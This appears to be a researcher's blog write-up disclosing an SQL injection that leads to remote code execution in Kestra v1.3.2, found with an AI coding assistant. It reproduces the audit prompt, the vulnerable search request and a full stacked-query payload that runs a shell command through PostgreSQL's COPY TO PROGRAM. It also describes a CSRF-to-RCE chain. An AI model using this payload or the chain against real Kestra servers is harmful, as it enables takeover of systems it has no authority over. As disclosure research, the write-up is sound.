I. Introduction
Kestra is an open-source tool that helps automate and manage workflows. It allows users to create and run workflows on a schedule or when an event occurs.
With Kestra, users can easily build and manage processes with just a few lines of simple configuration. Workflows can be created and monitored directly through the web interface, making system management and operations more convenient and reliable.
Vulnerable Version: Kestra v.1.3.2
Advisory: https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x
II. Target selection
I was assigned the task of using AI to find bugs in open-source projects. After browsing GitHub Trending for a while, I happened upon Kestra.
Reading a few basic pieces of information, it seemed like a fairly promising target because the web app uses Java and includes functions that interact directly with the operating system.
III. Finding
After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:
- Claude CLI
- Model: Claude Sonnet 4-6
After some time prompting to find bugs that directly led to RCE, the model produced only false positives because the function actually allowed users to run commands. So I decided to look for a vulnerability different from RCE—one that posed a slightly easier to improve security risk: SQL Injection.
I used the following prompt (I also used AI to generate this prompt based on the application's source code and functions):
You are a senior offensive security researcher specialized in Java applications, Micronaut, JDBC, Hibernate, Jooq, QueryDSL, and SQL injection discovery.
Your task is to audit this Kestra codebase for SQL injection vulnerabilities.
IMPORTANT:
- Do not assume the application is safe because it uses ORM.
- Look for partial parameterization, dynamic ORDER BY, string concatenation, raw SQL fragments, custom query builders, JSON query interpolation, tenant filters, search APIs, pagination, sort fields, and repository abstractions.
- Prioritize REAL exploitable SQL injection, not theoretical findings.
- Think like a bug bounty hunter trying to build a working PoC.
Your workflow:
1. Enumerate all database interaction points
- repositories
- DAO classes
- JDBC usage
- EntityManager.createNativeQuery
- jooq DSL.raw
- StringBuilder SQL construction
- custom filters/search endpoints
- dynamic WHERE / ORDER BY / LIMIT clauses
2. Trace tainted user input from:
- controllers
- REST endpoints
- query parameters
- path variables
- websocket handlers
- API filters/search objects
- pagination/sort parameters
3. Identify dangerous patterns such as:
- string concatenation into SQL
- String.format SQL
- unvalidated ORDER BY
- unvalidated column names
- dynamic table names
- raw SQL fragments
- nativeQuery=true
- JPQL injection
- HQL injection
- custom SQL builder utilities
- filter expressions transformed into SQL
4. For every candidate:
- show full source-to-sink data flow
- identify exact vulnerable line
- explain why parameterization fails or is bypassed
- determine exploitability realistically
- provide payload examples
- explain DB-specific behavior
- estimate impact
5. Try to build a practical PoC:
- authentication requirements
- reachable endpoint
- example HTTP request
- injection payload
- expected SQL query after interpolation
- impact (auth bypass, data exfiltration, RCE via DB features, etc.)
6. Be skeptical:
- eliminate false positives
- verify whether framework sanitization exists
- check whether values are enum-restricted
- check prepared statement usage carefully
7. Focus especially on:
- search/filter APIs
- execution history
- logs
- namespaces
- flows
- sorting
- labels/tags
- tenant filtering
- PostgreSQL-specific operators
- JSONB queries
- Elasticsearch fallback layers
- dynamic query generation
Output format:
## Candidate N
- Vulnerability type
- Reachable endpoint
- Source
- Sink
- Vulnerable code
- Exploitability analysis
- Payload
- Reconstructed SQL query
- Impact
- Confidence level
At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate confirmed SQLi from suspicious code.
After that, the AI produced a result showing it had found a piece of code vulnerable to SQL Injection, located in a search function. I saw potential security impact here because if queries can be stacked, the bug could be chained as:
CSRF -> SQL Injection -> RCE
I decided to set up an environment and continued to have the AI verify the bug; it confirmed the bug was real and that query stacking was indeed possible.
Here is the vulnerable request:
GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=value_test
After that, I continued to use AI to build the payload and the final RCE payload:
GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=any%22%7d%5d'))%20OR%201%3d1%20order%20by%20%22id%22%20asc%20nulls%20first)%20as%20%22page%22%20where%20true%20offset%20%3f%20rows%20fetch%20next%20%3f%20rows%20only%3b%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'bash%20-c%20%22id%20%3e%20%2ftmp%2fpwned%22'%3b%20--%201
Decoded:
any"}]')) OR 1=1 order by "id" asc nulls first) as "page" where true offset ? rows fetch next ? rows only; COPY (SELECT '') TO PROGRAM 'bash -c "id > /tmp/pwned"'; -- 1
Exec to db containter for check the result:
I submitted the bug shortly afterwards; Kestra issued a hotfix and requested that a CVE be assigned.
IV: Timeline
![[CVE-2026-34612] AI-Assisted Discovery of SQL Injection Leading to RCE in Kestra v1.3.2](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fb524a566-1628-4c53-8b67-c2c37a822717.png&w=3840&q=75)
![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
